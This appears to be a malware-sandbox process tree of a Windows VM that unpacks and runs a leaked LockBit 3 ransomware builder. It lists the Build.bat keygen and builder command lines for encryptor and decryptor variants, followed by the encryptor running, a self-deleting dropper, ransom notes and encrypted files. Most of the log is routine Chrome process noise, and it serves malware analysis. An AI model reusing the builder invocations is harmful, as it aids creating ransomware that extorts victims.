C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5604,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5576 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5740,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5560 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=212,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4500 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3472,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5616 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3572,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5620 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3652,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3544 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=4764,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5428 /prefetch:102⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=3492,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3544 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=3460,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=6252,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6096 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=6420,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6436 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=872,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6016 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=6192,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6020 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5780,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6396 /prefetch:142⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
-
-
C:\Users\Admin\Downloads\Ninite Notepad Installer.exe"C:\Users\Admin\Downloads\Ninite Notepad Installer.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\9081df03-01a2-11f0-b1f0-c25568dfd314\Ninite.exeNinite.exe "97246b2d37d54a253e7d8cd6992f093f1afcff60" /fullpath "C:\Users\Admin\Downloads\Ninite Notepad Installer.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\91E43D~1\target.exeC:\Users\Admin\AppData\Local\Temp\91E43D~1\target.exe /S4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"6⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=6044,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6224 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Lockbit 3 Builder.7z"2⤵
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\LBLeak\Build\DECRYPTION_ID.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" C:\Users\Admin\Desktop\LBLeak\config.json1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Notepad++\updater\gup.exe"C:\Program Files\Notepad++\updater\gup.exe" -v8.78 -px642⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exe"C:\Users\Admin\Desktop\LBLeak\builder.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: RenamesItself
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
- Drops file in System32 directory
-
-
C:\ProgramData\8F2F.tmp"C:\ProgramData\8F2F.tmp"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\8F2F.tmp >> NUL3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
-
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{F53604D6-E039-4872-9F51-C805039466C7}.xps" 1338651953193700002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\JorQnxayj.README.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe"C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe"1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: RenamesItself
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\LBLeak\config.json"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.131⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: RenamesItself
-
C:\ProgramData\F755.tmp"C:\ProgramData\F755.tmp"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\F755.tmp >> NUL3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
-
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{94882D77-446F-4CA7-9405-CC3BF8F6BD2C}.xps" 1338651968848500002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\LBLeak\Build\JgtXxmBAB.README.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\important.txt.JgtXxmBAB"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files\Notepad++\updater\gup.exe"C:\Program Files\Notepad++\updater\gup.exe" -v8.78 -px643⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\LBLeak\Build\priv.key"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\LB3Decryptor.exe"C:\Users\Admin\Desktop\LB3Decryptor.exe"1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: RenamesItself
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\LB3Decryptor.exe"C:\Users\Admin\Desktop\LB3Decryptor.exe"1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff92dddcf8,0x7fff92dddd04,0x7fff92dddd102⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1436,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2136 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2108,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2104 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1872,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2332 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3188,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=3296 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3300,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=3308 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4512,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=4492 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5096,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5088 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5296,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5352 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5528,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5228 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5532,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5668 /prefetch:12⤵
-
-
